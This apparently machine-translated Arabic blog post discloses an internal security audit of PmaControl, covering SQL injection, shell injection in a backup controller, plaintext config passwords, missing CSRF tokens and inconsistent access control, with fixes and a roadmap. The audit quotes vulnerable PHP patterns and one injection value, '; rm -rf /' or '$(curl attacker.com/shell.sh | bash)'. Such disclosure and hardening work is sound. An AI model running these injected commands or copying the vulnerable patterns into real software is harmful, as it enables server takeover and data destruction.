التدقيق الأمني PmaControl: خريطة طريق التعزيز

Aurélien LEQUOY · 10 مارس 2026

PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING

لماذا تقوم بمراجعة التعليمات البرمجية الخاصة بك

PmaControl يشرف على MariaDB / MySQL البنية التحتية للإنتاج. لديه حق الوصول إلى المقاييس والتكوينات ومفاتيح SSH وبيانات اعتماد الاتصال. إنه هدف رئيسي للمهاجم.

لقد أجريت تدقيقًا أمنيًا داخليًا، ليس لنشر تقرير تسويقي، ولكن لتحديد نقاط الضعف الحقيقية وإعطاء الأولوية لتصحيحها. تفاصيل هذه المقالة النتائج دون الرضا عن النفس.

المنهجية

غطت المراجعة:

- **مراجعة التعليمات البرمجية الثابتة**: التحليل اليدوي لوحدات تحكم PHP ونماذجها وطرق عرضها
- **التحليل الديناميكي**: اختبارات الحقن على النماذج ونقاط النهاية API
- **التكوين**: ملفات التكوين، وأذونات نظام الملفات، والأسرار
- **البنية**: سطح الهجوم، وعزل المكونات، وتدفق البيانات

الملاحظة 1: حقن SQL عبر بناء الاستعلام الديناميكي

الخطورة: حرجة

تقوم العديد من وحدات التحكم بإنشاء طلبات SQL عن طريق ربط معلمات المستخدم مباشرة:

```
// Pattern trouvé dans plusieurs controllers
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

هذا النمط عرضة للحقن الكلاسيكي SQL. يمكن للمهاجم استخراج البيانات، أو تعديل السجلات، أو في أسوأ الحالات، تنفيذ أوامر النظام عبر `INTO OUTFILE` أو `LOAD_FILE()`.

الحالات التي تم تحديدها

المراقب المالي	نقطة النهاية	الإعداد الضعيفة
وحدة تحكم الخادم	/الخوادم/بحث	بحث
TagController	/ العلامات / مرشح	الاسم
وحدة تحكم السجل	/سجلات/عرض	معرف الخادم، date_range
متريكونترولر	/المقاييس/الاستعلام	metric_name

العلاج

قم بالتبديل إلى **الاستعلامات ذات المعلمات** (البيانات المعدة):

```
// Avant (vulnérable)
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// Après (sécurisé)
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

يدعم إطار عمل Glial البيانات المعدة أصلاً. المشكلة ليست تقنية بل تاريخية: فقد تمت كتابة الكود قبل الاعتماد المنهجي لهذه الممارسة.

الملاحظة 2: حقن الصدفة في وحدة التحكم الاحتياطية

الخطورة: حرجة

تقوم وحدة التحكم الاحتياطية بتمرير إدخال المستخدم مباشرة إلى `shell_exec()` :

```
// Pattern trouvé dans BackupController
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

إذا كان `$host` يحتوي على `; rm -rf /` أو `$(curl attacker.com/shell.sh | bash)` ، فسيتم تنفيذ الأمر باستخدام امتيازات عملية PHP.

هذه هي أخطر ثغرة التدقيق. يمكن للمهاجم الذي لديه حق الوصول إلى نموذج النسخ الاحتياطي الحصول على **shell كامل على خادم PmaControl**.

العلاج

1. **حذف كافة `shell_exec()` مع إعدادات المستخدم** — بدون استثناءات
2. استخدم `escapeshellarg()` كإجراء انتقالي إذا لم يكن الحذف فورياً
3. في النهاية، استبدل استدعاءات الصدفة بـ **مكتبات PHP الأصلية** (PDO لـ mysqldump، وphpseclib لـ SSH)

```
// Mesure transitoire (pas suffisante seule)
$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// Solution définitive : pas de shell du tout
$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... backup via PDO et SELECT INTO OUTFILE ou équivalent
```

النتيجة 3: مسح كلمات المرور في ملفات التكوين

الخطورة: عالية

يتم تخزين بيانات اعتماد الاتصال بقواعد البيانات الخاضعة للإشراف في نص عادي في ملفات تكوين PHP:

```
// config/database.php
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => 'P@ssw0rd123!',  // En clair
```

```
    ],
];
```

هذه الملفات متاحة لأي مستخدم لديه حق الوصول للقراءة إلى نظام الملفات. من المحتمل أيضاً أن يكونوا ملتزمين بـ Git.

العلاج

1. **تشفير الأسرار غير النشطة** باستخدام مفتاح مشتق من متغير البيئة
2. استخدم **مدير الأسرار** (HashiCorp Vault، AWS Secrets Manager) لعمليات النشر السحابية
3. كحد أدنى، قم بتخزين كلمات المرور في **متغيرات البيئة** بدلاً من الملفات

```
// Après remédiation
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => getenv('PMAC_PROD_MASTER_PASS'),
    ],
];
```

النتيجة 4: غياب حماية CSRF

الخطورة: عالية

لا تحتوي نماذج PmaControl على رمز CSRF (تزوير طلب عبر المواقع). يمكن للمهاجم إنشاء صفحة ويب ضارة ترسل نموذج PmaControl نيابة عن المستخدم الذي قام بتسجيل الدخول.

سيناريو الهجوم:

1. تم تسجيل دخول المسؤول PmaControl في علامة تبويب
2. يقوم بزيارة صفحة ويب ضارة في علامة تبويب أخرى
3. تحتوي الصفحة على نموذج غير مرئي يرسل `POST /servers/delete/42`
4. يرسل المتصفح ملف تعريف ارتباط الجلسة PmaControl - يتم حذف الخادم

العلاج

قم بتنفيذ **رموز CSRF** على جميع نماذج POST:

```
// Génération du token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Dans le formulaire
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Validation côté serveur
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

النتيجة 5: التحكم في الوصول المتفرق

الخطورة: متوسطة

إن عمليات التحقق من ACL (قائمة التحكم في الوصول) ليست مركزية. تقوم كل وحدة تحكم بتنفيذ عمليات التحقق من الأذونات الخاصة بها، بشكل غير متسق:

```
// Controller A : vérifie les permissions
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// Controller B : ne vérifie rien
public function deleteServer($id) {
    $this->ServerModel->delete($id);  // Pas de vérification ACL
}
```

العلاج

مركزة قوائم ACL في **البرامج الوسيطة** التي يتم تنفيذها قبل كل وحدة تحكم في الإجراء:

```
// Middleware centralisé
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
```

```
        }
    }
}
```

خريطة طريق العلاج

الأولوية 1 — حرجة (فورية)

العمل	الجهد المقدر	الحالة
استعلامات ذات معلمات في كافة وحدات التحكم	3-5 أيام	قيد التقدم
إزالة shell_exec بإدخالات المستخدم	1-2 أيام	قيد التقدم
رموز CSRF بجميع أشكالها	2-3 أيام	مخطط
تشفير الأسرار في التكوين	1-2 أيام	مخطط

الأولوية 2 — عالية (خلال 30 يومًا)

العمل	الجهد المقدر	الحالة
عزل عامل SSH/النسخ الاحتياطي في عملية منفصلة	5-8 أيام	مخطط
تدقيق أذونات نظام الملفات	يوم واحد	مخطط
تحديد المعدل على API والمصادقة	2-3 أيام	مخطط

الأولوية 3 - متوسطة (خلال 90 يومًا)

العمل	الجهد المقدر	الحالة
مركزية قوائم ACL في البرامج الوسيطة	3-5 أيام	مخطط
توحيد أنماط التحكم	5-8 أيام	مخطط
رؤوس الأمان (CSP، HSTS، X-Frame-Options)	يوم واحد	مخطط
تسجيل أمني مركزي	2-3 أيام	مخطط

ما لا يغطيه هذا التدقيق

- الثغرات الأمنية في تبعيات الطرف الثالث (jQuery، Bootstrap) - تم التخطيط لإجراء تدقيق منفصل
- نقاط ضعف الشبكة (جدار الحماية، TLS) - هذه مسؤولية البنية التحتية
- الهندسة الاجتماعية والتصيد الاحتيالي - خارج النطاق الفني

الخلاصة

تعد أداة المراقبة التي يمكنها الوصول إلى بيانات اعتماد الإنتاج هدفًا بالغ الأهمية. PmaControl، مثل العديد من المشاريع مفتوحة المصدر التي نمت بشكل عضوي، تحمل ديونًا أمنية تاريخية.

إن الشفافية بشأن هذه العيوب هي خيار متعمد. نحن نفضل توثيق الثغرات الأمنية وخارطة طريق المعالجة علنًا بدلًا من التظاهر بأن الكود آمن.

إصلاحات P1 قيد التقدم. يتبع P2 وP3 جدولًا واقعيًا. كل إصدار من PmaControl يقلل من سطح الهجوم.